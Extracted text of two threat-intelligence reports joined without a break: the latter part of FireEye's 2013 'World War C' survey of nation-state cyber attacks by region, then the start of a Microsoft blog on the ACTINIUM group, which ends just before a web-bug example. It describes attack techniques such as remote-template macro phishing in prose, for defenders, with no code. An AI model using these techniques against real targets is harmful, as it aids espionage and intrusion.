Gobry, P-E. (5 JUL 2011) South Korea Will Replace All Paper With Tablets In Schools By 2015, Business Insider. 30 Choe Sang-Hun, C. Markoff, J. (8 Jul 2009) Cyberattacks Jam Government and Commercial Web Sites in U.S. and South Korea, The New York Times. 31 Four Years of DarkSeoul Cyberattacks Against South Korea Continue on Anniversary of Korean War, (27 Jun 2013) Symantec. 32 Fisher, M. (20 March 2013) South Korea under cyber attack: Is North Korea secretly awesome at hacking? The Washington Post. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 10 At the same time, North Korea also asserts that it is a target of cyber attacks from South Korea and the U.S. In June 2013, when the North suffered a two-day outage of all of its in-country websites, its state news agency denounced concentrated and persistent virus attacks, and proclaimed that the U.S. and South Korea will have to take the responsibility for the whole consequences. The North noted that the attack took place in parallel with Key Resolve (joint U.S.-South Korean military exercises), but the U.S. Joint Chiefs of Staff denied any connection.33 India-Pakistan: old rivals, new tactics A heavily fortified border separates India and Pakistan on the map. But the quiet, borderless nature of cyberspace means both sides are free to engage in cyber warfareeven during peacetime. In 2009, India announced that Pakistani cybercriminals had placed malware on popular Indian music download sites as a clever, indirect way to compromise Indian systems.34 In 2010, the Pakistani Cyber Army defaced and subsequently shut down the website of the Central Bureau of Investigation, Indias top police agency.35 In 2012, over 100 Indian government websites were compromised.36 Not to be outdone, in 2013, cybercriminals in India undertook Operation Hangover, a large-scale Indian cyber espionage campaign that hit Pakistani IT, mining, automotive, legal, engineering, food service, military, and financial services networks.37 Although researchers could not definitively tie the attacks to Indias government, many of the targets represented the countrys national security interests.38 Association of Southeast Asian Nations (ASEAN): emerging economies as soft targets Since at least 2010, many APTs (likely China-based) have targeted the governments, militaries, and businesses of ASEAN, the Southeast Asian geopolitical and economic group composed of Brunei, Burma (Myanmar), Cambodia, Indonesia, Laos, Malaysia, Philippines, Singapore, Thailand, and Vietnam. Although chances of any regional war erupting in the near term are low, a large volume of ongoing, regional cyber espionage activity is a constant. Targeted industries include telecommunications, transportation, oil and gas, banks, and think tanks. The usual motivation is to gain tactical or strategic advantage within the political, military, and economic domains.39 FireEye researchers are following numerous APT actors in this region, including BeeBus, Mirage, Check Command, Taidoor, Seinup, and Naikon. Their most common tactic is spear phishing, often using legitimate decoy documents that are related to the targets national economy or politics, or to regional events such as ASEAN summits, Asia-Pacific Economic Cooperation (APEC) summits, energy exploration, or military affairs. 33 Herman, S. (15 Mar 2013) North Korea Blames US, South for Cyber Attack, Voice of America. 34 Significant Cyber Incidents Since 2006, Center for Strategic and International Studies. 35 India and Pakistan in cyber war, (4 Dec 2010) Al-Jazeera. 36 Muncaster, P. (16 March 2012) Hackers hit 112 Indian gov sites in three months, The Register. 37 Operation Hangover: QA on Attacks, (20 May 2013) Symantec. 38 Snorre Fagerland, et al.
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Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. May 2013. 39 Finkle, J. (4 Aug 2011) State actor behind slew of cyber attacks, Reuters. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 11 FireEye believes that many of these regional economic organizations are attractive targets for APT campaigns because the information they possess is valuable and their level of cyber security awareness is low. Often, these organizations have inconsistent system administration, infrequent software patch management, poor policy control, or some combination of these issues. Thus, many of these networks are low-hanging fruit for attackers. And to make matters worse, compromised systems are used as staging grounds for further attacks on regional targets, by installing illicit command-and-control (CnC) servers, abusing legitimate email accounts, and disseminating stolen office documents as bait. Russia/Eastern Europe Russiaa little bit too quiet? In 1939, Winston Churchill declared that Russia was a riddle wrapped in a mystery inside an enigma . Seven decades later, cyber defense researchers would say that not much has changed. Compared with the constant attacks detected from China, you can almost hear the snow falling on Red Square. One of the outstanding questions in cyber security today is: Where are the Russians? Perhaps they are simply great hackers. Maybe they have sufficient human intelligence. Whatever the reason, cyber defense analysts often look in vain for the traces of Russian cybercriminals. As a step toward finding some answers, however, consider the second half of Churchills quote: but perhaps there is a key that key is Russian national interest.40 In other words, where there is smoke, there is usually fire. In the mid-1990s, at the very dawn of the World Wide Web, Russia was engaged in a protracted struggle over the fate of Chechnya the Chechens became pioneers in cyber propaganda, and the Russians became pioneers is shutting down their websites. In 1998, when Russian ally Serbia was under attack from NATO, pro-Serbian hackers jumped in the fray, targeting NATO with DoS attacks and at least twenty-five strains of virus-infected email. In 2007, Russia was the prime suspect in the most famous international cyber attack to datethe punitive DDoS on Estonia for moving a Soviet-era statue.41 In 2008, researchers uncovered clear evidence that computer network operations played a supporting role in Russian military advances during its invasion of Georgia.42 Also in 2008, Russia was suspected in what U.S. Deputy Secretary of Defense William Lynn called the most significant breach of U.S. military computers everan attack on Central Command (CENTCOM), delivered through an infected USB drive.43 In 2009, Russian cybercriminals were blamed in Climategate, a breach of university research intended to undermine international negotiations on climate change mitigation.44 In 2010, NATO and the European Union warned of increased Russian cyber attacks, while the FBI arrested and deported a possible Russian intelligence agent named Alexey Karetnikov, who had been working as a software tester at Microsoft.45 40 Winston Churchill, Wikiquote. 41 Geers K. (2008) Cyberspace and the Changing Nature of Warfare, Hakin9 E-Book, 19(3) No. 6 SC Magazine (27 AUG 08) 1-12. 42 Overview by the US-CCU of the Cyber Campaign against Georgia in August of 2008, (Aug 2009) U.S. Cyber Consequences Unit. 43 Lynn, W.J. (2010) Defending a New Domain: The Pentagons Cyberstrategy, Foreign Affairs 89(5) 97-108. 44 Stewart, W. Delgado, M. (6 Dec 2009) Were Russian security services behind the leak of Climategate emails? Daily Mail Global warning: New Climategate leaks, (23 Nov 2011) RT. 45 Ustinova, A. (14 Jul 2010) Microsoft Says 12th Alleged Russian Spy Was Employee, Bloomberg. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 12 One ironic aspect of nation-state cyber attacksespecially in authoritarian countriesis that many of them are inward facing. In 2012, Russian security firm Kaspersky Lab announced the discovery of Red October,46 a cyber attack campaign that spied on millions of citizens around the world, but chiefly within the former Soviet Union. Targets included embassies, research firms, military bases, energy providers, nuclear agencies, and critical infrastructure.47 Similarly, in 2013, researchers found malware on millions of Android devices in Russia and in Russian-speaking countries. Either or both of these attacks could be partially explained as the Russian government keeping an eye on its own population, and that of neighboring countries.48 On the brighter side, as a step toward cyber dtente, the U.S. and Russia in 2013 signed an agreement to build a cyber hotlinesimilar to that used for nuclear scares during the Cold Warto help defuse any computer-related crises in the future.49 But, just to be on the safe side, Russia is taking the extreme cyber defense measure of buying old-fashioned typewriters,50 and the Russian military is (like the U.S., China, and Israel) creating cyber warfare-focused units.51 Russian tactics Though relatively quiet, Russia appears to be home to many of the most complex and advanced cyber attacks FireEye researchers have seen. More specifically, Russian exploit code can be significantly stealthier than its Chinese counterpartwhich can also make it more worrisome. The Red October campaign, including its satellite software dubbed Sputnik, is a prominent example of likely Russian malware. TTP often includes the delivery of weaponized email attachments, though Russian cybercriminals appear to be adept at changing their attack patterns, exploits, and data exfiltration methods to evade detection. In fact, one telltale aspect of Russian hackers seems to be that, unlike the Chinese, they go to extraordinary lengths to hide their identities and objectives. FireEye analysts have even seen examples in which they have run false-flag cyber operations, designing their attack to appear as if it came from Asia. 46 The Red October CampaignAn Advanced Cyber Espionage Network Targeting Diplomatic and Government Agencies (14 Jan 2013) GReAT, Kaspersky Lab. 47 Lee, D. (14 Jan 2013) Red October cyber-attack found by Russian researchers, BBC News 48 Jackson Higgins, K. (3 Aug 2013) Anatomy of a Russian Cybercrime Ecosystem Targeting Android, Dark Reading. 49 Gallagher, S. (18 Jun 2013) US, Russia to install cyber-hotline to prevent accidental cyberwar, Ars Technica. 50 Ingersoll, G. (11 Jul 2013) Russia Turns to Typewriters to Protect against Cyber Espionage, Business Insider. 51 Gorshenin, V. (29 Aug 2013) Russia to create cyber-warfare units, Pravda. RUSSIA FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 13 One further problem for cyber defense researchers is that some Russian back doors into compromised systems are hard to distinguish from advanced cybercriminal break-ins. Reconnaissance Likely HUMINT Sources Weaponization Malicious DOC/XLS File Formats Delivery Weaponized Email Attachments Exploitation 0-Day Application Vulnerabilities Installation Feature Rich RAT with Encrypted Modules Command and Control (C2) HTTP with Custom Embedded Encoding / Encryption Actions on Objectives Intelligence Gathering (Govt. Focused) TTP Exemplars Red October Middle East As a region, the Middle East may not possess the arsenal of zero-day exploits available in Russia, or the brute-force numbers of China. Therefore, some Middle Eastern hackers may have to rely on cyber tactics that emphasize novelty, creativity, and deception. For example, the 2012 Mahdi campaign, which infected targets in the Middle East, used malicious Word documents, PowerPoint files, and PDFs to infect targets. That approach is similar to many other attackers. But these attacks were accompanied by some imaginative elements such as games, attractive images, and custom animations specifically designed to aid in the attack. Not only did they trick users into executing commands to install malicious code, but they also distracted users from seeing malware-related warning messages. Furthermore, Mahdi attacks were tailored to specific target audiencesfor example by offering variations of games unique to each organization. Such pinpoint strikes rely on prior reconnaissance, help to evade cyber defense behavioral-detection mechanisms, and dramatically increase the odds of compromise. So in the Middle East, the relative sophistication of an attack may be calculated less in the technology, and more in the clever ways in which malware is delivered and installed on a target network. Table 2: Characteristics of Russian cyber attacks FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 14 Iran: a hot cyber war Wherever significant activity erupts in the real world (including crime, espionage, and warfare), parallel activity unfolds in cyberspace. It is therefore unsurprising that Iranwhich has tense international relations and is on the verge of acquiring a nuclear bombhas also experienced the most sophisticated cyber attacks to date. In 2010, Stuxnet was a cyber missile of sorts designed with painstaking precision to burrow deep into Irans nuclear program and destroy physical infrastructure. To some degree, this piece of software replaced a squadron of fighter aircraft that would have violated foreign airspace, dropped laser- guided bombs, and left a smoking crater in the Earths surface.52 Beyond Stuxnet, other advanced espionage attacks have worried security experts, including Duqu, Flame, and Gauss, which all may have come from the same threat actor.53 And even amateurs are successfully targeting Iran although the Mahdi malware is by comparison far less sophisticated than Stuxnet and its cousins, Mahdi has still managed to compromise engineering firms, government agencies, financial services firms, and academia throughout the Middle East.54 52 Sanger, D. Confront and Conceal. ( New York: 2012) pp. 188-225. 53 Boldizsr Bencsth. Duqu, Flame, Gauss: Followers of Stuxnet, BME CrySyS Lab, RSA 2012. 54 Simonite, T. (31 Aug 2012) Bungling Cyber Spy Stalks Iran, MIT Technology Review. Reconnaissance Regional Mailing Lists, Conferences Weaponization Malicious PPT/PPS Files Delivery Weaponized Email Attachments Exploitation Social Engineering Mouse Clicks on Screen Installation Primitive Collection of Custom Tools / RAT (Requires Operator For Lateral Movement) Command and Control (C2) Plain HTTP Hiding in Plain Sight Actions on Objectives Intelligence Gathering (Middle East Focused), Denial of Service TTP Exemplars Madi, LV Table 3: Characteristics of Middle Eastern cyber attacks FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 15 So how does anyone, including a nation-state, respond to a cyber attack? Does the counterstrike remain within the cyber realm, or can it come in the form of a traditional military (or terrorist) assault? In 2012, Iran appears to have chosen the first option. A hacker group called the Cutting Sword of Justice used the Shamoon virus to attack the Saudi Arabian national oil company Aramco, deleting data on three-quarters of Aramcos corporate PCs (including documents, spreadsheets, e-mails, and files) and replacing them with an image of a burning American flag.55 And over the past year, another group called Izz ad-Din al-Qassam launched Operation Ababil, a series of DDoS attacks against many U.S. financial institutions including the New York Stock Exchange.56 Other examples of cyber attacks abound. In 2009, the plans for a new U.S. Marine Corps 1 presidential helicopter were found on a file-sharing network in Iran.57 In 2010, the Iranian Cyber Army disrupted Twitter and the Chinese search engine Baidu, redirecting users to Iranian political messages.58 In 2011, Iranian attackers compromised a Dutch digital certificate authority, after which it issued more than 500 fraudulent certificates for major companies and government agencies.59 In 2012, Iran disrupted the BBCs Persian Language Service, and University of Toronto researchers reported that some versions of the Simurgh proxy software (which is popular in countries like Iran and anonymizes Internet traffic) also installed a Trojan that collected usernames and keystrokes, sending them to a likely intelligence collection site.60 Finally, in 2013 the Wall Street Journal reported that Iranian actors had increased their efforts to compromise U.S. critical infrastructure.61 Syria: what is the Syrian Electronic Army? Syria is in the midst of a civil war, so researchers have a lot of cyber activity to analyze. The most prominent hacker group by far is the Syrian Electronic Army (SEA), which is loyal to Syrian President Bashar al-Assad. SEA has conducted DDoS attacks, phishing, pro-Assad defacements, and spamming campaigns against governments, online services, and media that are perceived to be hostile to the Syrian government. SEA has hacked Al-Jazeera, Anonymous, Associated Press (AP), BBC, Daily Telegraph, Financial Times, Guardian, Human Rights Watch, National Public Radio, The New York Times, Twitter, and more.62 Its most famous exploit was a hoax announcement using APs Twitter account that the White House was bombed and President Obama injuredafter which stock markets briefly dipped to the tune of 200 billion.63 55 Perlroth, N. (23 Oct 2012) In Cyberattack on Saudi Firm, U.S. Sees Iran Firing Back, The New York Times. 56 Walker, D. (8 Mar 2013) Hacktivists plan to resume DDoS campaign against U.S. banks, SC Magazine. 57 Borak, D. (3 Mar 2009) Source in Iran views Marine One blueprints, Marine Corps Times. 58 Wai-yin Kwok, V. (13 Jan 2010) Baidu Hijacked By Cyber Army, Forbes. 59 Charette, R. (9 Sep 2011) DigiNotar Certificate Authority Breach Crashes e-Government in the Netherlands, IEEE Spectrum. 60 Iranian anti-censorship software Simurgh circulated with malicious backdoor, (25 May 2012) Citizenlab. 61 Gorman, S. Yadron, D. (23 May 2013) Iran Hacks Energy Firms, U.S. Says, Wall Street Journal. 62 Fisher, M. Keller, J. (31 Aug 2011) Syrias Digital Counter-Revolutionaries. The Atlantic Syrian Electronic Army, (accessed 25 July, 2013) Wikipedia. 63 Manzoor, S. (25 July, 2013) Slaves to the algorithm: Are stock market math geniuses, or quants, a force for good? The Sunday Telegraph. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 16 In the month of July 2013 alone, SEA compromised three widely used online communications websites: Truecaller (the worlds largest telephone directory),64 Tango (a video and text messaging service),65 and Viber (a free online calling and messaging application).66 These types of compromises are significant because they can give Syrian intelligence access to the communications of millions of people, including political activists within Syria who might then be targeted for espionage, intimidation, and arrest. To compromise its targets, the SEA often sends socially engineered, spear-phishing emails to lure opposition activists into opening fraudulent, weaponized, and malicious documents. If the recipient falls for the scam, Trojan horse, remote access tool (RAT) software is installed on the victims computer that can give the attacker keystrokes, screenshots, microphone and webcam recordings, stolen documents, and passwords. And of course, the SEA likely sends all of this information to a computer address lying within Syrian government-controlled Internet Protocol (IP) space for intelligence collection and review.67 Israel: old conflict, new tactics Even during the Cold War, the Arab-Israeli conflict saw many hot wars, and it was often the testing ground for new military weapons and tactics. Nothing has changed in the Internet era. Since at least 2000, pro-Israeli hackers have targeted sites of political and military significance in the Middle East.68 In 2007, Israel reportedly disrupted Syrian air defense networks via cyber attack (with some collateral damage to its own domestic networks) to facilitate the Israeli Air Forces destruction of an alleged Syrian nuclear facility.69 64 Khare, A. (19 July 2013) Syrian Electronic Army Hacks Truecaller Database, Gains Access Codes to Social Media Accounts. iDigital Times. 65 Kastrenakes, J. (22 July 2013) Syrian Electronic Army alleges stealing millions of phone numbers from chat app Tango. The Verge Albanesius, C. (23 July 2013) Tango Messaging App Targeted by Syrian Electronic Army. PCMag. 66 Ashford, W. (24 July 2013) Syrian hacktvists hit second mobile app in a week. Computer Weekly. 67 Tsukayama, H. (28 Aug 2013) Attacks like the one against the New York Times should put consumers on alert, The Washington Post. 68 Geers K. (2008) Cyberspace and the Changing Nature of Warfare, Hakin9 E-Book, 19(3) No. 6 SC Magazine (27 AUG 08) 1-12. 69 Carroll, W. (26 Nov 2007) Israels Cyber Shot at Syria, Defense Tech. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 17 But as an advanced industrial nation, Israel also depends on information technology. The nation has proven to be vulnerable to cyber attacks, which often target the Israeli economy. In 2009, during Israels military operation in Gaza, hackers briefly paralyzed many government sites with a DDoS attack from at least 500,000 computers. The 2009 attack consisted of four independent waves, each stronger than the last, peaking at 15 million junk mail deliveries per second. The Israeli Home Front Command website, which plays a key role in national defense communications with the public, was down for three hours. Due to technical similarities with the 2008 cyber attack on Georgia during its war with Russia, Israeli officials surmised that the attack itself might have been carried out by a criminal organization in the former Soviet Union, and paid for by Hamas or Hezbollah.70 Often, the trouble with cyber attacks is that they do not need to be highly sophisticated to succeed, even against security-conscious Israel. In 2012, the ineptly written71 Mahdi malware compromised at least 54 targets in Israel.72 Last but not least, in 2013, the Iranian media reported that the Syrian army had carried out a cyber attack against the water supply of the Israeli city of Haifa. Prof. Isaac Ben-Israel, a cyber security adviser to Prime Minister Benjamin Netanyahu, said that the report was false, but added that cyber attacks on critical infrastructures pose a real and present threat to Israel.73 The West United States Analysts believe that the U.S. has conducted the most highly engineered cyber attacks to date, including Stuxnet,74 Duqu, Flame, and Gauss.75 This family of malware is unparalleled in its complexity and targeting. Stuxnet in particular was developed with a singular goal (to disrupt Iranian nuclear enrichment) that was both narrowly focused and capable of yielding strategic gains in the international arena. In contrast to computer worms such as Slammer and Code Red, Stuxnet did not seek to compromise as many computers as possible, but as few as possible. Even more amazing, its malicious behavior was concealed under a veneer of apparently legitimate operational databut ultimately, the malware destroyed Iranian centrifuges. This family of malware was exquisitely designed. For example, its payload can arrive at its destination encryptedand become decrypted and installed only on a target device. This helps the malware to evade the prying eyes of cyber defenders, making discovering and reverse engineering the malware much more difficult. Ironically, this family of malware could be a paragon of over-engineering. For example, it not only uses multiple zero-day exploits, but also world-first computational achievements such as a forced cryptographic hash collision.76 In the case of Iran (which is currently subject to a trade embargo that restricts its acquisition of high technology), it is doubtful whether Iranian software is up-to-date or properly configured. So the authors of Stuxnet could likely have used more conventional computer exploits and still succeeded. 70 Pfeffer, A. (15 Jun 2009) Israel suffered massive cyber attack during Gaza offensive, Haaretz. 71 Simonite, T. (31 Aug 2012) Bungling Cyber Spy Stalks Iran, MIT Technology Review. 72 Zetter, K. (17 Jul 2012) Mahdi, the Messiah, Found Infecting Systems in Iran, Israel, WIRED. 73 Yagna, Y. (26 May 2013) Ex-General denies statements regarding Syrian cyber attack, Haaretz. 74 Sanger, D. Confront and Conceal. ( New York: 2012) pp. 188-225. 75 Boldizsr Bencsth. Duqu, Flame, Gauss: Followers of Stuxnet, BME CrySyS Lab, RSA 2012. 76 Goodin, Dan (7 Jun 2012) Crypto breakthrough shows Flame was designed by world-class scientists, Ars Technica. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 18 One possible telling aspect of U.S. cyber attacks: they require such a high level of financial investment, technical sophistication, and legal oversight that they will stand out from the crowd. On the last point, Richard Clarke, who served three U.S. Presidents as a senior counterterrorism official, argued that Stuxnet was a U.S. operation because it very much had the feel to it of having been written by or governed by a team of Washington lawyers.77 Finally, the amount of work involved in these operations suggests the participation of an enormous defense contractor base, with different companies specializing in particular aspects of a large and complex undertaking. On the downside (and similar to the Israeli case), all advanced industrial economies are vulnerable to cyber counterattack. In 2008, a CIA official informed a conference of critical infrastructure providers that unknown cybercriminals, on multiple occasions, had been able to disrupt the power supply in various foreign cities.78 In the military domain, Iraqi insurgents used 26 off-the-shelf software to intercept live video feeds from U.S. Predator drones, likely giving them the ability to monitor and evade U.S. military operations.79 In the economic sphere, the U.S.-based International Monetary Fund (IMF) fell victim to a phishing attack in 2011 that was described as a very major breach.80 Thus, while cyber attacks are relatively a new phenomenon, they represent a growing national security challenge. As part of a broader effort to mitigate the threat, President Obama signed a directive in 2013 that the U.S. should aid allies who come under foreign cyber attack.81 77 Rosenbaum, R. (Apr 2012) Richard Clarke on Who Was Behind the Stuxnet Attack, Smithsonian. 78 Nakashima, E. Mufson, S. (19 Jan 2008) Hackers Have Attacked Foreign Utilities, CIA Analyst Says, Washington Post. 79 Gorman, S., Dreazen, Y. Cole, A. (17 Dec 2009) Insurgents Hack U.S. Drones, Wall Street Journal. 80 Sanger, D. Markoff, J. (11 Jun 2011) I.M.F. Reports Cyberattack Led to Very Major Breach, New York Times. 81 Shanker, T. Sanger, D. (8 Jun 2013) U.S. Helps Allies Trying to Battle Iranian Hackers, New York Times. Reconnaissance Likely HUMINT Sources Weaponization Auto Infected Removable Media Delivery USB Removable Media Exploitation Social Engineering USB Media Use Installation Well-Crafted, Targeted (Crypto-Keyed) Worm (No Operator Required Auto-Lateral Movement) Command and Control (C2) Strategic One-Time Use C2 Nodes Full SSL Crypto Actions on Objectives Intelligence Gathering / Subtle System Disruption (Middle East Focused) TTP Exemplars Stuxnet, Flame, Duqu, Gauss Table 4: Characteristics of Western cyber attacks FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 19 Europe No prominent examples have been discovered of the European Union (EU) or the North Atlantic Treaty Organization (NATO) conducting their own offensive cyber attacks. On the contrary, their leaders have so far foresworn them.82 But many examples reveal European networks getting hacked from other parts of the world, particularly China and Russia. Within government, cyber attacks on the British Foreign Ministry evaded network defenses in 2010 by pretending to come from the White House.83 In 2011, German Police found that servers used to locate serious criminals and terrorism suspects had been penetrated, initially via a phishing attack.84 Also in 2011, European Commission officials were targeted at an Internet Governance Forum (IGF) in Azerbaijan.85 In the military sphere, in 2009, French Navy planes were grounded following an infection by the Conficker worm.86 In 2012, the UK admitted that cybercriminals had penetrated its classified Ministry of Defense networks.87 In business, the European Unions carbon trading market was breached in 2011, resulting in the theft of more than 7 million in credits, forcing the market to shut down temporarily.88 In 2012, the European Aeronautic Defence and Space Company (EADS) and German steelmaker ThyssenKrupp fell victim to major attacks by Chinese cybercriminals.89 Security professionals should particularly be on the lookout for APT cyber threats just before and during international negotiations. In 2011 alone, the European Commission complained of widespread hacking before an EU summit,90 the French government was compromised prior to a G-20 meeting,91 and at least 10 Norwegian defense and energy companies were breached during large-scale contract negotiations, via phishing that was specifically tailored to each company.92 82 Leyden, J. (6 June 2012) Relax hackers NATO has no cyber-attack planstop brass, The Register. 83 Arthur, C. (5 Feb 2011) William Hague reveals hacker attack on Foreign Office in call for cyber rules, The Observer. 84 Hackers infiltrate German police and customs service computers, (18 July 2011) Infosecurity Magazine. 85 Satter, R. (10 Nov 2012) European Commission Officials Hacked At Internet Governance Forum, Huffington Post. 86 Willsher, K. (7 Feb 2009) French fighter planes grounded by computer virus, The Telegraph. 87 Hopkins, N. (3 May 2012) Hackers have breached top secret MoD systems, cyber-security chief admits, The Guardian. 88 Krukowska, E. Carr, M. (20 Jan 2011), EU Carbon Trading Declines After Alleged Hacking Suspends Spot Market, Bloomberg. 89 Rochford, O. (24 Feb 2013) European Space, Industrial Firms Breached in Cyber Attacks: Report, Security Week. 90 Serious cyber attack on EU bodies before summit, (23 Mar 2011) BBC. 91 Charette, R. (8 Mar 2011) Spectacular Cyber Attack Gains Access to Frances G20 Files, IEEE Spectrum. 92 Albanesius, C. (18 Nov 2011) Norway Cyber Attack Targets Countrys Oil, Gas Systems, PCMag. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 20 Conclusion World War Z told a story of idiosyncratic national behavior in response to a major international crisis. This report sought to highlight the same phenomenon in regard to the challenges posed by national cyber insecurity and international cyber attacks. Behind every incident is an agendaand individual human beingseach unique and ultimately identifiable. The bigger the cyber campaign, the more data it generates for security researchers, and the more difficulty attackers will have remaining anonymous and hiding their agenda. As for crystal balls: no one knows what the next cyber attack will look like. But considering recent trends, we can make a few educated guesses. Here are five factors that could change the worlds cyber security landscape in the near- to medium-term: 1. Outage of national critical infrastructure: we know that cyber attacks can disrupt government networks, but most current cases simply do not rise to the level of a national security threat. Stuxnet and Irans alleged retaliation against Saudi Aramcohas shifted the thinking on cyber war from theory to something closer to reality. But have we seen the limit of what cyber attacks can achieve, or could cybercriminals threaten public safety by downing a power grid or financial market? 2. Cyber arms treaty: if world leaders begin to view cyber attacks as more of a liability than an opportunity, they may join a cyber arms control regime or sign a non-aggression pact for cyberspace. However, arms control requires the ability to inspect for a prohibited item. President Reagans favorite Russian proverb was , , or trust but verify. Given that a single USB stick can now hold billions of bits of information, verifying would be easier said than done. 3. PRISM, freedom of speech, and privacy: we are still at the dawn of the Internet era, and this conversation has only just begun. It encompasses Daniel Ellsberg, Chelsea Manning, and Edward Snowden, as well as the Declaration of Independence, Enigma, and The Onion Router (TOR). Today, politicians, spooks, and hippies are all aware of a critical debate on the horizonjust how much online privacy should we have? 4. New actors on the cyber stage: the revolutionary nature of computers and the amplification power of networks are not exclusive to the worlds largest nations. Iran, Syria, North Korea, and even non- state actors such as Anonymous have employed cyber attacks as a way to conduct diplomacy and wage war by other means. Researchers have little reason to think that other governments are not active in this domain. Possible candidates could be: a. Poland: it was the Poles who first broke the German Enigma cipherway back in 1932 Today, with programming talent and well-known rivalry with Russia, it is a possibility. b. Brazil: Home to some of the worlds most prolific cybercriminals, will Brazils government, be angry about recent revelations of U.S. cyber spying, harness this talent for geopolitical ends? c. Taiwan: with constant cyber attacks emanating from Mainland China, Taipei may have little choice but to react. 5. Stronger focus on evasion: as we have seen, some nation-states know how to launch stealthy cyber attacks. But as the discipline of cyber defense matures, and as public awareness of the World War C phenomenon grows, some noisy cyber attackers such as China may be forced to raise their game by trying to fly under a more finely tuned radar. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 21 FireEye, Inc. 1440 McCarthy Blvd. Milpitas, CA 95035 408.321.6300 877.FIREEYE (347.3393) infoFireEye.com www. FireEye.com 2013 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. RPT.WWC.EN-US.092013 The analysis and conclusions drawn in this paper are conjectural. Cyber security, cyber espionage, and cyber war are new and rapidly evolving concepts. Furthermore, most computer network operations are shrouded in secrecy. Deception is a given. A cyber attack, viewed outside of its geopolitical context, allows very little legal maneuvering room for the defending state, said Prof. Thomas Wingfield of the Marshall Center, in a recent email interview with FireEye. False flag operations and the very nature of the Internet make tactical attribution a losing game. But Wingfield adds that strategic attributionfusing all sources of intelligence on a potential threat allows a much higher level of confidence and more options for government decision makers. And strategic attribution begins and ends with geopolitical analysis, he said. With this in mind, we hope that an awareness of this World War C dynamic helps cyber security professionals better understand, identify, and combat cyber attacks in the future. About FireEye FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks. These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways. The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors, including Web, email, and files and across the different stages of an attack life cycle. The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time. FireEye has over 1,100 customers across more than 40 countries, including over 100 of the Fortune 500. For more information on next-generation threat protection, visit www. FireEye.com 1/18 February 4, 2022 ACTINIUM targets Ukrainian organizations microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations The Microsoft Threat Intelligence Center (MSTIC) is sharing information on a threat group named ACTINIUM, which has been operational for almost a decade and has consistently pursued access to organizations in Ukraine or entities related to Ukrainian affairs. MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as Gamaredon. In the last six months, MSTIC has observed ACTINIUM targeting organizations in Ukraine spanning government, military, non-government organizations (NGO), judiciary, law enforcement, and non-profit, with the primary intent of exfiltrating sensitive information, maintaining access, and using acquired access to move laterally into related organizations. MSTIC has observed ACTINIUM operating out of Crimea with objectives consistent with cyber espionage. The Ukrainian government has publicly attributed this group to the Russian Federal Security Service (FSB). Since October 2021, ACTINIUM has targeted or compromised accounts at organizations critical to emergency response and ensuring the security of Ukrainian territory, as well as organizations that would be involved in coordinating the distribution of international and humanitarian aid to Ukraine in a crisis. As with any observed nation-state actor activity, Microsoft directly notifies customers of online services that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft has shared this information with Ukrainian authorities. ACTINIUM represents a unique set of activities separate from the destructive malware attacks by DEV-0586 described in an earlier blog post. As of this writing, MSTIC has not found any indicators correlating these two actors or their operations. The observed ACTINIUM activities detailed in this blog have been limited only to organizations within Ukraine. We have not seen this actor using any unpatched vulnerabilities in Microsoft products or services. Given the geopolitical situation and the scale of observed activity, MSTIC is prioritizing sharing our knowledge of ACTINIUM tactics, techniques, and procedures (TTPs), along with a significant number of indicators of compromise (IOCs) from our extensive analysis. Our goal is to give organizations the latest intelligence to guide investigations into potential attacks and information to implement proactive protections against future attempts. Activity description Microsoft has observed a repeated set of techniques and procedures throughout operations by ACTINIUM, with several significant elements that we believe are important to understanding these activities. Its important to note that ACTINIUMs tactics are constantly evolving the activities described in this blog are some of the most consistent and notable observations by Microsoft, but these are not all-encompassing of actor TTPs. Phishing using remote templates One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ remote templates. Remote template injection refers to the method of causing a document to load a remote document template that contains the malicious code, in this case, macros. Delivery using remote template injection ensures that malicious content is only loaded when required (for example, when the user opens the document). This helps attackers to evade static detections, for example, by systems that scan attachments for malicious content. Having the malicious macro hosted remotely also allows an attacker to control when and how the malicious component is delivered, further evading detection by preventing automated systems from obtaining and analyzing the malicious component. MSTIC has observed a range of email phishing lures used by ACTINIUM, including those that impersonate and masquerade as legitimate organizations, using benign attachments to establish trust and familiarity with the target. https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/ https://ssu.gov.ua/uploads/files/DKIB/Technical20report20Armagedon.pdf https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ 2/18 This phishing email from ACTINIUM uses the sender domain who-int[. ]info to masquerade as the legitimate who.int domain, assessed to be impersonating the World Health Organization Within the body of phishing messages, ACTINIUM has been observed to insert web bugs, which are small external image references that enable the actor to track when a message has been opened and rendered. These web bugs are not malicious by themselves but may indicate that the email is intended for malicious use. Heres an example of a web bug used by ACTINIUM: 